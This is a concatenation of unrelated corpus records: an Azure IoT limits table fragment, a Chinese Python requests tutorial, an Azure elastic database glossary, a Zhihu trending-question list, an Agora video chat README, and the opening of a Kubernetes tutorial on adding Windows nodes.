| クラウドからデバイスへの送信 | 100/分/ユニット |
| クラウドからデバイスへの受信 | 1000/分/ユニット |
<!---HONumber=AcomDC_0204_2016--> | 1,345 | CC-BY-3.0 |
---
layout: post
title: "使用 requests"
subtitle: ""
date: 2019-11-15 22:06:25
author: "Balbo"
header-img: "img/post-bg-2019.jpg"
tags:
- reptile
---
## 基本用法
### 实例引入
```python
import requests
r = requests.get('http://baidu.com/')
print(type(r))
print(r.status_code)
print(type(r.text))
print(r.text)
print(r.cookies)
```
运行结果：
```
<class 'requests.models.Response'>
200
<class 'str'>
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
<RequestsCookieJar[]>
```
### GET 请求
```python
import requests
r = requests.get('http://httpbin.org/get')
print(r.text)
```
运行结果：
```
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0"
},
"origin": "113.100.6.27, 113.100.6.27",
"url": "https://httpbin.org/get"
}
```
附加额外请求:
```python
import requests
data = {
'name': 'germey',
'age': 22,
}
r = requests.get('http://httpbin.org/get', params=data)
print(r.text)
```
### 抓取二进制数据
```python
import requests
r = requests.get('http://github.com/favicon.ico')
with open('e://favicon.ico', 'wb') as f:
f.write(r.content)
```
### 添加 headers
```python
import requests
headers = {'User-Agent': 'Mozilla/5.0 ' \
'(Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 ' \
'(KHTML, like Gecko) Version/5.1 Safari/534.50'}
response = requests.get('http://www.baidu.com', headers=headers)
print(response.text)
```
## 高级用法
### 上传文件
```python
import requests
files = {'file': open('favicon.ico', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)
print(r.text)
```
运行结果：
```
{
"args": {},
"data": "",
"files": {
"file": "data:application/octet-stream;base64,AAA ... A="
},
"form": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "6665",
"Content-Type": "multipart/form-data; boundary=a07be83274db9e46b0713544033f2f6f",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0"
},
"json": null,
"origin": "113.100.6.27, 113.100.6.27",
"url": "https://httpbin.org/post"
}
```
### Cookies
```python
# 获取cookie
import requests
response = requests.get('http://www.baidu.com')
print(response.cookies)
print(type(response.cookies))
for k, v in response.cookies.items():
print(k+':'+v)
```
运行结果：
```
<RequestsCookieJar[<Cookie BDORZ=27315 for .baidu.com/>]>
<class 'requests.cookies.RequestsCookieJar'>
BDORZ:27315
```
### 会话维持
```python
import requests
session = requests.Session()
session.get('http://httpbin.org/cookies/set/number/12345')
response = session.get('http://httpbin.org/cookies')
print(response.text)
```
运行结果：
```
{
"cookies": {
"number": "12345"
}
}
```
### SSL证书验证
```python
import requests
from requests.packages import urllib3
urllib3.disable_warnings() #从urllib3中消除警告
response = requests.get('https://www.12306.cn',verify=False) #证书验证设为FALSE
print(response.status_code)
```
### 代理设置
对于某些网站，在测试的时候请求几次，能正常获取内容。但是一旦开始大规模爬取，对于大规模且频繁的请求，网站可能会弹出验证码，或者跳转到登陆验证界面，甚至会直接封禁客户端的 IP，导致一定时间段内无法访问。
```python
import requests
proxies = {
'http': 'http://user:password@10.10.1.10:3128',
'https': 'http://user:password@10.10.1.10:1080',
}
requests.get('http://www.taobao.com', proxies=proxies)
```
### 超时设置
```python
import requests
from requests.exceptions import ReadTimeout
try:
res = requests.get('http://taobao.com', timeout=1)
print(res.status_code)
except ReadTimeout as timeout:
print(timeout)
``` | 3,761 | Apache-2.0 |
---
title: 弹性数据库工具词汇表 | Microsoft 文档
description: 弹性数据库工具所用术语的解释
services: sql-database
ms.service: sql-database
ms.subservice: scale-out
ms.custom: ''
ms.devlang: ''
ms.topic: conceptual
author: stevestein
ms.author: sstein
ms.reviewer: ''
ms.date: 12/04/2018
ms.openlocfilehash: 3ed0cc9dce312cb9736b3e32ba46d2cb1cca3ef8
ms.sourcegitcommit: 7c4de3e22b8e9d71c579f31cbfcea9f22d43721a
ms.translationtype: MT
ms.contentlocale: zh-CN
ms.lasthandoff: 07/26/2019
ms.locfileid: "68568451"
---
# <a name="elastic-database-tools-glossary"></a>弹性数据库工具词汇表
Azure SQL 数据库中的[弹性数据库工具](sql-database-elastic-scale-introduction.md)功能的术语定义如下。 这些工具用于管理[分片映射](sql-database-elastic-scale-shard-map-management.md)，包括[客户端库](sql-database-elastic-database-client-library.md)、[拆分/合并工具](sql-database-elastic-scale-overview-split-and-merge.md)、[弹性池](sql-database-elastic-pool.md)和[查询](sql-database-elastic-query-overview.md)。
[使用弹性数据库工具添加分片](sql-database-elastic-scale-add-a-shard.md)和[使用 RecoveryManager 类解决分片映射问题](sql-database-elastic-database-recovery-manager.md)中用到了这些术语。
![弹性缩放术语][1]
**数据库**：Azure SQL 数据库。
**依赖于数据的路由**：使应用程序能够连接到给定了特定分片键的分片的功能。 请参阅[依赖于数据的路由](sql-database-elastic-scale-data-dependent-routing.md)。 与 **[多分片查询](sql-database-elastic-scale-multishard-querying.md)** 进行比较。
**全局分片映射**：分片集内分片键及其各自分片之间的映射。 全局分片映射存储在**分片映射管理器**中。 与**局部分片映射**进行比较。
**列表分片映射**：在其中单独映射分片键的分片映射。 与**范围分片映射**进行比较。
**局部分片映射**：局部分片映射（存储在分片上）包含驻留在该分片上的 shardlet 的映射。
**多分片查询**：能够针对多个分片发出查询；使用 UNION ALL 语义（也称为“扇出查询”）返回结果集。 与**依赖于数据的路由**进行比较。
**多租户**和**单租户**：下面显示的是单租户数据库和多租户数据库：
下面显示的是**分片**单租户数据库和多租户数据库。
**范围分片映射**：分片分发策略在其中基于多个连续值范围的分片映射。
**引用表**：未进行分片，但在分片间进行复制的表。 例如，可以在引用表中存储邮政编码。
**分片**：用于存储分片数据集中的数据的 Azure SQL 数据库。
**分片弹性**：执行横向缩放和纵向缩放的能力。
**分片表**：已进行分片的表，即在基于其分片键值的分片中分发其数据。
**分片键**：确定如何在分片上分发数据的列值。 值类型可以是下列其中一项：**int**、**bigint**、**varbinary** 或 **uniqueidentifier**。
**分片集**：属于分片映射管理器中相同分片映射的分片集合。
**Shardlet**：与分片上分片键的单个值相关联的所有数据。 当重新分发分片表时，shardlet 是可能的数据移动的最小单元。
**分片映射**：分片键及其各自分片之间的映射集。
**分片映射管理器**：包含分片映射、分片位置和一个或多个分片集的映射的管理对象和数据存储。
![映射][2]
## <a name="verbs"></a>动词
**横向缩放**：通过将分片添加到分片映射或删除分片，向外（或向内）扩展分片集合的行为。
![横向缩放与纵向缩放][3]
**合并**：将 shardlet 从两个分片移动到一个分片，并且相应地更新分片映射的行为。
**Shardlet 移动**：将单个 shardlet 移动到不同分片的行为。
**分片**：基于分片键对多个数据库上结构相同的数据进行水平分区的行为。
**拆分**：将几个 shardlet 从一个分片移动到另一个（通常是新的）分片的行为。 由用户提供的作为拆分点的分片键。
**纵向缩放**：向上（或向下）缩放单个分片的计算大小的行为。 例如，将分片从标准版更改为高级版（这会导致需要更多的计算资源）。
[!INCLUDE [elastic-scale-include](../../includes/elastic-scale-include.md)]
<!--Image references-->
[1]: ./media/sql-database-elastic-scale-glossary/glossary.png
[2]: ./media/sql-database-elastic-scale-glossary/mappings.png
[3]: ./media/sql-database-elastic-scale-glossary/h_versus_vert.png | 2,874 | CC-BY-4.0 |
# 2021-03-27
共 193 条
<!-- BEGIN ZHIHUQUESTIONS -->
<!-- 最后更新时间 Sat Mar 27 2021 23:02:27 GMT+0800 (China Standard Time) -->
1. [如何看待乌合麒麟讽刺 BCI 的新作《Blood Cotton Initiative》 ？](https://www.zhihu.com/question/451475421)
1. [《哥斯拉大战金刚》里为什么金刚打不赢哥斯拉？](https://www.zhihu.com/question/451400347)
1. [外交部发言人在例会上，向记者展示美军前高官「用新疆搞垮中国」的视频，你怎么看？](https://www.zhihu.com/question/451374588)
1. [如果给你一亿RMB让你余生都只能活在同一星期内你愿意吗？](https://www.zhihu.com/question/450684657)
1. [如何看待中国足协谴责耐克，保留进一步处理同耐克合同的权力？](https://www.zhihu.com/question/451475306)
1. [新入职，买了草莓请大家吃，为什么大家都不吃？](https://www.zhihu.com/question/451018901)
1. [如何看待继丁真后甘孜文旅局局长刘洪靠颜值出圈？很多网友评价甘孜为了推广使用「美男计」，你怎么看？](https://www.zhihu.com/question/451367499)
1. [新疆棉花遭遇国外品牌抵制事件，会对我国的出口和外贸产生影响吗？](https://www.zhihu.com/question/451155149)
1. [如何看待薇娅1小时卖出2000多万元新疆棉制品？](https://www.zhihu.com/question/451466676)
1. [男朋友私自把我的《王者荣耀》充到贵8，我生气有错吗？](https://www.zhihu.com/question/450562895)
1. [如何评价2021年省考（公务员联考）行测？考完感觉如何？](https://www.zhihu.com/question/451478215)
1. [水滴互助将于 2021 年 3 月 31 日停止服务，这意味着什么？](https://www.zhihu.com/question/451387183)
1. [为什么聪明人都买白色的车，不买黑色的车？白的真的能避免事故吗？](https://www.zhihu.com/question/450848333)
1. [如何看待 2020 年安踏净利润超越 Adidas？国产体育品牌超越国际品牌还需要做出哪些努力？](https://www.zhihu.com/question/451367940)
1. [有一个很会的男朋友是什么感受？](https://www.zhihu.com/question/391872560)
1. [如何评价腾讯 2020 年财报，全年净利润 1598.5 亿元人民币，员工人均年薪 81 万？](https://www.zhihu.com/question/451059078)
1. [你中 8000 万彩票了会和身边的人说吗？](https://www.zhihu.com/question/387889242)
1. [苏伊士运河堵船事故有什么营救措施可以最快和最大程度减少各方损失？](https://www.zhihu.com/question/451146252)
1. [如何评价游戏《鬼谷八荒》新版本「化神·悟道」？](https://www.zhihu.com/question/451531329)
1. [如何评价《创造营 2021》第六期的排名？](https://www.zhihu.com/question/451558211)
1. [刘备投奔曹操的时候那么窘迫，为什么曹操却把他视为比肩自身的英雄?](https://www.zhihu.com/question/444961254)
1. [如何看待地球一小时活动，熄灯就是环保吗？](https://www.zhihu.com/question/450959677)
1. [电影《哥斯拉大战金刚》中有哪些值得关注的细节？](https://www.zhihu.com/question/451277221)
1. [《山河令》知乎评分 8.7、豆瓣评分 8.6，比《陈情令》高，这个评分真实吗？](https://www.zhihu.com/question/446605738)
1. [《三体》里面章北海知道人类飞船15％光速也不可能打得过三体舰队，为什么身为科学家的罗辑和丁仪却没想到？](https://www.zhihu.com/question/450549593)
1. [如何看待红米k40手机3月26日再次秒没？](https://www.zhihu.com/question/451328388)
1. [如何评价《仙剑奇侠传一》宣布翻拍？](https://www.zhihu.com/question/301752896)
1. [如何评价《创造营 2021》第六期（上）？](https://www.zhihu.com/question/451553240)
1. [婆婆坚持亲喂，要把儿子带到我单位去哺乳，我该怎么办？](https://www.zhihu.com/question/451020624)
1. [从科学的角度来看，丧尸这种生物有没有可能存在？](https://www.zhihu.com/question/396972216)
1. [你是什么时候不喜欢看美国大片的？具体原因是什么？](https://www.zhihu.com/question/268022546)
1. [如果一个人类（普通人的体质），拥有无限的寿命，他一直科学地锻炼，能将身体素质提升到超人的程度吗？](https://www.zhihu.com/question/450947269)
1. [为什么图书馆里很多同学都很努力复习考研，但大部分人却考不上呢？](https://www.zhihu.com/question/430364218)
1. [如何评价发起人周深多国语言唱跳版《创造营2021》主题曲《我们一起闯》？](https://www.zhihu.com/question/451559230)
1. [生来失明的人，能否在脑中想象出人类的样子?](https://www.zhihu.com/question/439755465)
1. [回家后脱下的衣服放在哪儿？](https://www.zhihu.com/question/445389210)
1. [为什么近两年讨厌日向雏田的人越来越多而小樱评价却越来越好了？](https://www.zhihu.com/question/421579359)
1. [山姆会员店（sam's club）有什么值得买的东西？](https://www.zhihu.com/question/58897556)
1. [苹果的iPhone 11这个时候还值得买吗？](https://www.zhihu.com/question/430374241)
1. [有哪些温柔到骨子里的句子?](https://www.zhihu.com/question/366086116)
1. [如何评价张郃？](https://www.zhihu.com/question/23711749)
1. [有什么网文主角能在实力相等情况下打赢唐三?](https://www.zhihu.com/question/450677114)
1. [发个消息两三天不回的女生是不是可以放弃了?](https://www.zhihu.com/question/443809482)
1. [你珍藏了哪些惊艳到你的壁纸？](https://www.zhihu.com/question/448327597)
1. [2021 年有哪些实用的租房小家电值得购买？](https://www.zhihu.com/question/450161184)
1. [有哪些让你用一次后感觉「以前的力气都白费了」的家居好物？](https://www.zhihu.com/question/420760487)
1. [教师资格证面试花十天左右时间准备够吗？](https://www.zhihu.com/question/433616547)
1. [二选一，销售工作应该是找到有需求的客户还是让客户产生需求？](https://www.zhihu.com/question/447961317)
1. [你觉得尊龙、严屹宽、焦恩俊谁更好看？](https://www.zhihu.com/question/449666087)
1. [中国气候好宜居的城市，到底有没有必要装空调？](https://www.zhihu.com/question/449412238)
1. [肖战成为李宁运动潮流产品全球代言人，体现了李宁怎样的品牌策略？这对双方会有怎样的影响？](https://www.zhihu.com/question/451308723)
1. [《创造营 2021》里哪对 cp 糖最多且真？](https://www.zhihu.com/question/451242616)
1. [为什么「成功学」会流行？有哪些心理学方面的原因？](https://www.zhihu.com/question/449660923)
1. [新生儿睡觉时扭动发出痛苦的嗯嗯声，会涨红脸大哭是为什么？](https://www.zhihu.com/question/46803185)
1. [海森堡当年不知道矩阵，他是怎么想出矩阵力学的？](https://www.zhihu.com/question/279151159)
1. [为什么力丸的粉丝这么抗打？](https://www.zhihu.com/question/450976936)
1. [《青春有你 3》糊了，最后出道的 9 人团会糊上加糊吗？](https://www.zhihu.com/question/450566226)
1. [如何评价《创造营 2021》里刘宇的舞蹈水平？](https://www.zhihu.com/question/445515188)
1. [打羽毛球你认为最好的单打策略是什么？](https://www.zhihu.com/question/401832482)
1. [如果物理学大一统理论已经完成，请问如何在科学界公布出来？](https://www.zhihu.com/question/443863795)
1. [一直以来都想用善良来得到别人的喜欢和认可，这样做真的对吗？](https://www.zhihu.com/question/450139906)
1. [《斗破苍穹》里萧炎有三观不正的表现吗?](https://www.zhihu.com/question/448546163)
1. [进击的巨人有哪些角色形象崩塌了？](https://www.zhihu.com/question/444040413)
1. [军事打击时，报的坐标是怎么划分的？请问这坐标是如何做到精确的？](https://www.zhihu.com/question/272753481)
1. [有哪些宋亚轩老粉才知道的事情或者说很有意思的小细节？](https://www.zhihu.com/question/342997897)
1. [有没有可推荐的好一点的值当的雅思网课？](https://www.zhihu.com/question/265293890)
1. [如何看待男子侵占公款 700 万坐牢 7 年，出狱当上财务总监又卷走 1900 万 ？](https://www.zhihu.com/question/451318184)
1. [我是一个比较胖的女孩子，我喜欢的男孩子很优秀，我要不要继续喜欢？](https://www.zhihu.com/question/448146358)
1. [优衣库有没有被高估？](https://www.zhihu.com/question/355928826)
1. [有没有听了之后能笑一天的笑话？](https://www.zhihu.com/question/448087107)
1. [实习期间，指导律师不怎么管，自己也没事做，应该怎么安排时间才能有所收获呢？](https://www.zhihu.com/question/376381422)
1. [装修报价差异大，如何正确看待装修公司的费用问题？](https://www.zhihu.com/question/272211894)
1. [四十岁离婚了，人生下半场再婚困难吗？](https://www.zhihu.com/question/414716955)
1. [转行简历怎么写才能吸引HR？](https://www.zhihu.com/question/34866572)
1. [怎么吃透一个java项目？](https://www.zhihu.com/question/422346147)
1. [山东潍坊是座什么样的城市？](https://www.zhihu.com/question/27131303)
1. [如何评价《海贼王》漫画第 1008 话？](https://www.zhihu.com/question/451219938)
1. [有没有与众不同的春天郊游文案？](https://www.zhihu.com/question/451158071)
1. [装修小白即将开始装修房子，要注意些什么？](https://www.zhihu.com/question/368485703)
1. [有哪些让人听了意难平的文案？](https://www.zhihu.com/question/441159566)
1. [职场中哪件事情让你快速成长？](https://www.zhihu.com/question/451032194)
1. [布偶猫有多好?](https://www.zhihu.com/question/450519003)
1. [你敢用一年时间改变自己吗？](https://www.zhihu.com/question/437098355)
1. [如何看待官方辟谣「成都大运会将取消」？若取消，将会带来哪些影响？](https://www.zhihu.com/question/451401384)
1. [如何评价《王牌对王牌》第六季第九期？](https://www.zhihu.com/question/451400104)
1. [日本制造的质量真的就那么好吗？](https://www.zhihu.com/question/335156490)
1. [有哪些高质量的先婚后爱小说可以推荐？](https://www.zhihu.com/question/364364437)
1. [写论文时可以把参考文献直接复制过去吗？](https://www.zhihu.com/question/303759376)
1. [有哪些半小时内就能看完的超甜的小故事？](https://www.zhihu.com/question/443425789)
1. [如何看待边伯贤 3 月 26 日突袭直播宣布入伍时间？](https://www.zhihu.com/question/451429970)
1. [明朝能打赢北京保卫战，北宋东京保卫战为什么会失败？](https://www.zhihu.com/question/450642851)
1. [同时收到了石家庄中电 54 所和华为中兴的 Offer，怎么选呢？](https://www.zhihu.com/question/19755392)
1. [高三生，为什么要考大学？为什么要努力学习？](https://www.zhihu.com/question/440915326)
1. [耐克收盘跌 3.39%，阿迪跌逾 6.49%，市值合计蒸发 730 亿，股价波动对耐克阿迪有多大影响？](https://www.zhihu.com/question/451309277)
1. [为什么周培公一个汉人要死忠清朝康熙，为什么不帮汉人反清复明？](https://www.zhihu.com/question/449713677)
1. [异地恋突然没了感觉怎么办？](https://www.zhihu.com/question/434123823)
1. [土耳其货币已崩盘，国内金融行情你怎么看?](https://www.zhihu.com/question/450728849)
1. [有什么好看的动漫可推荐？](https://www.zhihu.com/question/440497961)
1. [你最近最喜欢的一条文案是什么？](https://www.zhihu.com/question/450282527)
1. [如何评价 3 月 26 日晚雅顿直播张哲瀚的表现？](https://www.zhihu.com/question/451418536)
1. [NBA 2020-21 赛季活塞 111:113 篮网，如何评价这场比赛？](https://www.zhihu.com/question/451459139)
1. [同事提出了离职后有点消极怠工，应该怎么处理？](https://www.zhihu.com/question/434114178)
1. [股票学习中怎么把一种技术指标学到极致？](https://www.zhihu.com/question/30535712)
1. [我想知道有没有病娇的真实案例？](https://www.zhihu.com/question/336556018)
1. [高中生在重点班很痛苦压力大，应该如何调整心态？](https://www.zhihu.com/question/64254848)
1. [如何看待小米 11 Ultra 首发的超级快充硅氧负极电池？](https://www.zhihu.com/question/451346616)
1. [4000 元能买到什么品相的布偶猫？](https://www.zhihu.com/question/403762480)
1. [如何看待 Model 3 自动驾驶时方向盘卡死撞树且气囊未弹出，行车记录仪事发时的视频消失？](https://www.zhihu.com/question/451337512)
1. [朝鲜试射 2 枚新型战术导弹，透露出哪些信息？](https://www.zhihu.com/question/451290690)
1. [股票技术指标哪些最常用？](https://www.zhihu.com/question/21094650)
1. [如何评价余华新作《文城》？](https://www.zhihu.com/question/445698299)
1. [男子强奸 10 岁女童获刑 12 年，是山东首例「强制报告制度」立案侦查的侵害未成年人案件，你怎么看？](https://www.zhihu.com/question/451346543)
1. [2021 LPL 春季赛小天回归赛场，FPX 2:0 BLG 收官队伍常规赛，如何评价这场比赛？](https://www.zhihu.com/question/451394484)
1. [如何看待 哔哩哔哩（b站） 提交的公司资料表里显示自己是「百度集团」？](https://www.zhihu.com/question/451335195)
1. [有什么在深夜可以发的文案？](https://www.zhihu.com/question/429720888)
1. [为什么鸟儿会飞，鸡不会？](https://www.zhihu.com/question/322628617)
1. [本科毕业论文，参考文献对应不上，可以乱标吗？](https://www.zhihu.com/question/381443047)
1. [《进击的巨人》出现怪诞虫的这个设定是不是一种无法解决主要矛盾而强行机械降神的产物？](https://www.zhihu.com/question/447960338)
1. [如果你感觉你的男朋友不爱你了，应该分手吗？](https://www.zhihu.com/question/447452578)
1. [拜登上任以来首场新闻记者会上称「任内不许中国超过美国」，这会对未来中美关系产生哪些影响？](https://www.zhihu.com/question/451306277)
1. [有哪些大佬级别的言情小说作者?](https://www.zhihu.com/question/323889571)
1. [如何评价美剧《猎鹰与冬兵》第二集？](https://www.zhihu.com/question/450383885)
1. [天津一老人疑因摔倒后未被扶起身亡，目击者发文表示非常自责，对此你怎么看？对于此类问题应该怎样处理？](https://www.zhihu.com/question/450872600)
1. [扎导版《正义联盟》中的远古大战，达克赛德被众神一套秒了，合理吗？](https://www.zhihu.com/question/449911989)
1. [Nike 发布「禁用新疆棉花」的声明，Nike 赞助的中国运动队和体育赛事会受到怎样的影响？](https://www.zhihu.com/question/451153986)
1. [自己孩子查完成绩告诉你清华北大时，你是什么心理感受？](https://www.zhihu.com/question/331275499)
1. [舍友都在宿舍养宠物，我养个什么宠物能压制住他们？](https://www.zhihu.com/question/450957590)
1. [快生孩子了，老公还跟我吵架怎么办？](https://www.zhihu.com/question/450240311)
1. [王熙凤让刘姥姥给女儿起名字，说为了好养活，不怕刘姥姥起个名字叫二狗子吗？](https://www.zhihu.com/question/450054372)
1. [如何把团队带散？](https://www.zhihu.com/question/442522186)
1. [近几年，中国电视剧是否真的以肉眼可见的速度在进步？](https://www.zhihu.com/question/61022286)
1. [如何看待白敬亭和匡威解约？](https://www.zhihu.com/question/451221556)
1. [有哪些女主不是傻白甜的小说?](https://www.zhihu.com/question/382066291)
1. [讨好型人格到底有多可怕？](https://www.zhihu.com/question/268633341)
1. [人是怎么变强的？](https://www.zhihu.com/question/267653585)
1. [如何看待易烊千玺、杨幂、迪丽热巴、张艺兴等多位艺人发表声明与「禁用新疆棉花」的品牌终止合作？](https://www.zhihu.com/question/451131161)
1. [为什么人类总是在追求胜利和成就？有哪些先天或环境教育方面的原因？](https://www.zhihu.com/question/449660943)
1. [你用过最丑的编程语言是哪个？](https://www.zhihu.com/question/448169628)
1. [如何委婉拒绝室友使用我的 iPad？](https://www.zhihu.com/question/450802801)
1. [什么食物最能代表重庆？为什么？](https://www.zhihu.com/question/447695776)
1. [什么事情是你当了医生之后才知道的？](https://www.zhihu.com/question/399561264)
1. [大学成绩一般想申请名校，所谓的留学包装真的有用吗？](https://www.zhihu.com/question/445471093)
1. [有没有值得反复看的言情小说？](https://www.zhihu.com/question/433496093)
1. [3 月 26 日，中国宣布制裁炒作涉疆问题的英国部分个人及实体，此举会产生什么影响？](https://www.zhihu.com/question/451301218)
1. [2021 基金普跌行情时，是补仓摊薄成本，还是投资防御板块？](https://www.zhihu.com/question/447534582)
1. [在澳洲留学是一种怎样的体验？](https://www.zhihu.com/question/27333910)
1. [一加9手机与小米11到底哪款值得享有？](https://www.zhihu.com/question/450874951)
1. [如何评价 The 9 「虚实之城」演唱会？](https://www.zhihu.com/question/451099801)
1. [虾米之后去哪里听古典音乐?](https://www.zhihu.com/question/450754649)
1. [非会计专业想考初级会计证难吗？](https://www.zhihu.com/question/303020008)
1. [大家减肥都用了多长时间才瘦下来的？](https://www.zhihu.com/question/61425428)
1. [有哪些适合敏感肌的护肤品套装？](https://www.zhihu.com/question/346417640)
1. [一周练三次，能练出肌肉吗？](https://www.zhihu.com/question/450411564)
1. [家境不好的女孩子应该好好读书还是早早进入社会？](https://www.zhihu.com/question/445617756)
1. [女朋友超可爱是什么体验？](https://www.zhihu.com/question/264334522)
1. [恋爱中，男生为女生做哪些事情会特别加分？](https://www.zhihu.com/question/19930155)
1. [英国留学生今年有希望出国吗？](https://www.zhihu.com/question/449742079)
1. [考研政治谁的模拟卷质量比较高？](https://www.zhihu.com/question/390513571)
1. [晒一晒各位程序员朋友在工作和学习中，用的软件类工具？](https://www.zhihu.com/question/442474996)
1. [现在准备 22 年法硕（非法学）应该购买哪些资源或书籍?](https://www.zhihu.com/question/404709639)
1. [有哪些让人落泪的文案？](https://www.zhihu.com/question/450182895)
1. [什么OKR工具最好？](https://www.zhihu.com/question/41897952)
1. [为什么保罗·马尔蒂尼被公认为历史第一左后卫？](https://www.zhihu.com/question/445369653)
1. [有哪些文案会让你陷入沉思？](https://www.zhihu.com/question/450526406)
1. [2020 年有哪些专辑值得推荐？](https://www.zhihu.com/question/433701240)
1. [2022年考研，考研小白该如何准备？](https://www.zhihu.com/question/449890746)
1. [如何以【他们以弑神的罪名逮捕了我】为开头写一篇文?](https://www.zhihu.com/question/440187946)
1. [孩子学英语的途径有哪些？](https://www.zhihu.com/question/448200319)
1. [有没有让你一眼就觉得很惊艳的诗句？](https://www.zhihu.com/question/448709801)
1. [在股市中，什么样的散户最让庄家头疼？](https://www.zhihu.com/question/316561088)
1. [作为丈夫和儿子，在处理婆媳关系问题上，我做错了什么，下一步该怎么做？](https://www.zhihu.com/question/451227357)
1. [领克05请回答 | 如果让你对话领克05研发生产工程师，你有什么想问的？](https://www.zhihu.com/question/449854016)
1. [如何评价龚俊、张哲瀚在《王牌对王牌》第六季第九期中的表现？](https://www.zhihu.com/question/451411858)
1. [你觉得自己写过最好的作文题目是什么？](https://www.zhihu.com/question/354965203)
1. [如何看待小米将于3月29日发布的新澎湃芯片？](https://www.zhihu.com/question/451306893)
1. [你认为最催泪的一句话是什么？](https://www.zhihu.com/question/428747344)
1. [中国人民大学撤掉操场 Nike 广告，大学生应该如何支持中国立场？](https://www.zhihu.com/question/451231545)
1. [新疆棉的事情很多外国品牌不想买了，请问大家有什么国货推荐吗？](https://www.zhihu.com/question/451133356)
1. [如何看待 LPL 联赛下架 Nike 相关产品，比赛中 Nike 标志被贴纸挡住？](https://www.zhihu.com/question/451207787)
1. [如何看待H&M等拒使用新疆产品，外交部回应「中国老百姓不允许一些外国企业吃中国饭、砸中国碗」？](https://www.zhihu.com/question/451202849)
1. [金庸笔下谁是真正的凡尔赛大师？](https://www.zhihu.com/question/445199983)
1. [如何评价电影《哥斯拉大战金刚》?](https://www.zhihu.com/question/392093591)
1. [Nike、优衣库、阿迪等品牌被抵制后，国内品牌的发展态势将会如何？国产服装行业将迎来哪些机会？](https://www.zhihu.com/question/451125041)
1. [你认为日本动漫有哪些德不配位的作品？](https://www.zhihu.com/question/450441088)
1. [新婚媳妇睡懒觉，婆婆每天早上喊她起床吃饭，到底是谁错？](https://www.zhihu.com/question/363383726)
1. [什么发色掉色也好看？](https://www.zhihu.com/question/376168141)
1. [如何看待重庆一员工微信群调侃领导被开除，法院判涉事公司赔偿该员工一万余元？](https://www.zhihu.com/question/451157081)
1. [大学宿舍有什么相见恨晚的神器？](https://www.zhihu.com/question/35558049)
1. [计算机应届生月薪大多是多少？](https://www.zhihu.com/question/268886169)
1. [《圣斗士星矢》在日本动漫界真的排不上号么？](https://www.zhihu.com/question/396643319)
1. [如何看待马思纯张哲轩恋情？](https://www.zhihu.com/question/450813315)
1. [软考有意义吗？软考容易过吗？](https://www.zhihu.com/question/25105576)
1. [如何以“我不小心绑架了反派怎么办！”为开头写一篇小说？](https://www.zhihu.com/question/440247832)
<!-- END ZHIHUQUESTIONS --> | 14,010 | MIT |
# Large Video Group Chat for Android
*Read this in other languages: [English](README.en.md)*
这个开源示例项目演示了如何快速集成 Agora 视频 SDK，实现多人视频连麦直播。
在这个示例项目中包含了以下功能：
- 加入通话和离开通话；
- 静音和解除静音；
- 切换前置摄像头和后置摄像头；
- 选择分辨率、码率和帧率；
- 切换模式，一大多小或者两行平铺模式
## 运行示例程序
首先在 [Agora.io 注册](https://dashboard.agora.io/cn/signup/) 注册账号，并创建自己的测试项目，获取到 AppID。将 AppID 填写进 "app/src/main/res/values/strings_config.xml"
```
<string name="private_app_id"><#YOUR APP ID#></string>
```
然后在 [Agora.io SDK](https://www.agora.io/cn/download/) 下载 **视频通话 + 直播 SDK**，解压后将其中的 **libs** 文件夹下的 ***.jar** 复制到本项目的 **app/libs** 下，其中的 **libs** 文件夹下的 **arm64-v8a**/**x86**/**armeabi-v7a** 复制到本项目的 **app/src/main/libs** 下。
最后用 Android Studio 打开该项目，连上设备，编译并运行。
也可以使用 `Gradle` 直接编译运行。
## 运行环境
- Android Studio 2.0 +
- 真实 Android 设备 (Nexus 5X 或者其它设备)
- 部分模拟器会存在功能缺失或者性能问题，所以推荐使用真机
## 联系我们
- 完整的 API 文档见 [文档中心](https://docs.agora.io/cn/)
- 如果在集成中遇到问题, 你可以到 [开发者社区](https://dev.agora.io/cn/) 提问
- 如果有售前咨询问题, 可以拨打 400 632 6626，或加入官方Q群 12742516 提问
- 如果需要售后技术支持, 你可以在 [Agora Dashboard](https://dashboard.agora.io) 提交工单
- 如果发现了示例代码的 bug, 欢迎提交 [issue](https://github.com/AgoraIO/Advanced-Video/issues)
## 代码许可
The MIT License (MIT). | 1,175 | MIT |
---
title: Windowsノードの追加
min-kubernetes-server-version: 1.17
content_type: tutorial
weight: 30
---
<!-- overview -->
{{< feature-state for_k8s_version="v1.18" state="beta" >}}
Kubernetesを使用してLinuxノードとWindowsノードを混在させて実行できるため、Linuxで実行するPodとWindowsで実行するPodを混在させることができます。このページでは、Windowsノードをクラスターに登録する方法を示します。
## {{% heading "prerequisites" %}}
{{< version-check >}}
* WindowsコンテナをホストするWindowsノードを構成するには、[Windows Server 2019ライセンス](https://www.microsoft.com/en-us/cloud-platform/windows-server-pricing)(またはそれ以上)を取得します。
VXLAN/オーバーレイネットワークを使用している場合は、[KB4489899](https://support.microsoft.com/help/4489899)もインストールされている必要があります。
* コントロールプレーンにアクセスできるLinuxベースのKubernetes kubeadmクラスター([kubeadmを使用したシングルコントロールプレーンクラスターの作成](/ja/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/)を参照)
## {{% heading "objectives" %}}
* Windowsノードをクラスターに登録する
* LinuxとWindowsのPodとServiceが相互に通信できるようにネットワークを構成する
<!-- lessoncontent -->
## はじめに: クラスターへのWindowsノードの追加
### ネットワーク構成
LinuxベースのKubernetesコントロールプレーンノードを取得したら、ネットワーキングソリューションを選択できます。このガイドでは、簡単にするためにVXLANモードでのFlannelの使用について説明します。
#### Flannel構成
1. FlannelのためにKubernetesコントロールプレーンを準備する
クラスター内のKubernetesコントロールプレーンでは、多少の準備が推奨されます。Flannelを使用する場合は、iptablesチェーンへのブリッジIPv4トラフィックを有効にすることをお勧めします。すべてのLinuxノードで次のコマンドを実行する必要があります:
```bash
sudo sysctl net.bridge.bridge-nf-call-iptables=1
```
1. Linux用のFlannelをダウンロードして構成する
最新のFlannelマニフェストをダウンロード:
```bash
wget https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
```
